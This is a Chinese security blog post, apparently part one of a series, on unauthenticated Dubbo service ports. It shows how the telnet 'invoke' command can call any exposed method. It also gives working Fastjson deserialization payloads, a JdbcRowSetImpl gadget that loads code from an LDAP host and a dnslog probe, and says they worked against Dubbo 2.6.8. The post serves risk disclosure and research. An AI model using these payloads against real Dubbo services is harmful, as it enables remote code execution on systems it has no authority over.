Dubbo服务对外暴露端口的安全风险(上)
Dubbo服务介绍:
本文记录Dubbo端口未授权暴露情况下的风险.
Dubbo是一个分布式服务框架,致力于提供高性能和透明化的远程服务调用方案.
原理就是:
A系统调用B系统接口服务, 后面就是怎么把这个流程,动态化(zookeeper通知)、权限化、配置化、低耦合化、自动化。
不恰当的使用
在使用Dubbo服务的时候,如果在内网环境下创建生产者的时候经常会是这样的使用。
下面定义配置了一个Dubbo服务,使用的是dubbo协议,将会监听在20881端口上。
<dubbo:application name="demotest-provider" owner="programmer" organization="dubbox”/>
<dubbo:registry address="zookeeper://localhost:2181”/>
<dubbo:protocol name="dubbo" port="20881”/>
<dubbo:service interface="com.exploitcat.api.DemoService" ref="demoService" protocol="dubbo" />
<bean id="demoService" class="com.exploitcat.provider.DemoServiceImpl"/>
众所周知,在内网环境里很多服务都是未考虑鉴权的,这里启动的Dubbo服务也未考虑鉴权的。对于开发人员来说,这样是非常方便提供服务和调用服务的。毕竟都是在自家内部提供服务和使用服务,当这样的事情发生了且被进入内网的黑客发现了,会存在什么样的隐患呢??
风险利用:
当我们运行拉起了Dubbo服务,如下图:
进入ZK查看生产者信息:
dubbo://10.96.16.114:20881/com.exploitcat.api.DemoService?anyhost=true&application=demotest-provider&dubbo=2.0.1&generic=false&interface=com.exploitcat.api.DemoService&methods=sayHello,sayHi&organization=dubbox&owner=programmer&pid=88508&side=provider×tamp=1593422826324
对于这样的没有鉴权限制的Dubbo服务,任何网络可达能够访问的用户,都可以做如下操作。
help查看支持哪些命令
这些命令可以在这里找到定义:
https://github.com/apache/dubbo/blob/b5cc276c25a254bd1c44869a861e63f86b27cc3a/dubbo-plugin/dubbo-qos/src/main/resources/META-INF/dubbo/internal/org.apache.dubbo.remoting.telnet.TelnetHandler
命令解释:
ls命令,查看该端口上有哪些dubbo服务
ls + 类名,查看该类下有哪些方法
invoke +类名.方法名, 手动调用服务
手动调用接口
invoke com.exploitcat.api.DemoService.sayHello(" admin, I am dog!”)
invoke com.exploitcat.api.DemoService.verityPwd("admin","admin”)
对于攻击者,此时可以使用invoke命令进行Dubbo服务的接口调用,如果是一些敏感的创建数据接口这就很危险了。这里模拟了一个处理Json数据的parseJson方法。
当攻击者telnet连接上来后,invoke执行下面的命令,利用Fastjson的反序列化漏洞,将会是非常危险的。
invoke com.exploitcat.api.DemoService.parseJson("{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"f\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExportObject\",\"autoCommit\":true}}, \"poc\":11}”)
invoke com.exploitcat.api.DemoService.parseJson("{\"@type\":\"java.net.Inet4Address\",\"val\":\"3y0rnd.dnslog.cn\"}")
成功调用接口
成功利用Fastjson反序列化漏洞
处理Telnet服务的Handler在这里:
https://github.com/apache/dubbo/blob/b5cc276c25a254bd1c44869a861e63f86b27cc3a/dubbo-plugin/dubbo-qos/src/main/resources/META-INF/dubbo/internal/org.apache.dubbo.remoting.telnet.TelnetHandler
经过分析 /dubbo/qos/legacy/InvokeTelnetHandler.java 文件,发现Dubbo默认就使用了Fastjson进行数据解析的。
在文件的81行代码处,截图如下:
这个文件是解析invoke命令的参数的,这里使用了JSON.parseArray处理传入的参数,根据invoke的传入参数语法。
我们构造Fastjson的利用payload如下:
invoke com.baidu.hellofastjson("aa",{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExportObject","autoCommit":true}}, "poc":11})
POC打一下阿里的Dubbo 2.6.8版本,情况如下
我们看Dubbo服务,没有使用任何注册的生产者,因此我们上面成功打了Dubbo自身的Fastjson处理过程。
到这里是不是感觉后背发凉了??这Dubbo是有毒吗??这里的Telnet服务连接上来使用的invoke命令传参数居然走的Fastjson解析,bugjson已经被大家吐槽很久了,dubbo这是埋藏了多么大的安全隐患。
今天发现Apache Dubbo有提交新的pull了,https://github.com/apache/dubbo/pull/6374 ,这个和这里telnet的方式似乎很像但是又不像,后面有机会再分析一下。
我们查看apache dubbo的commit记录,这背后还是有故事的。
https://github.com/apache/dubbo/search?q=fastjson&type=Commits
参考:
https://www.cnblogs.com/qlqwjy/p/10554081.html
https://github.com/apache/dubbo/pull/6374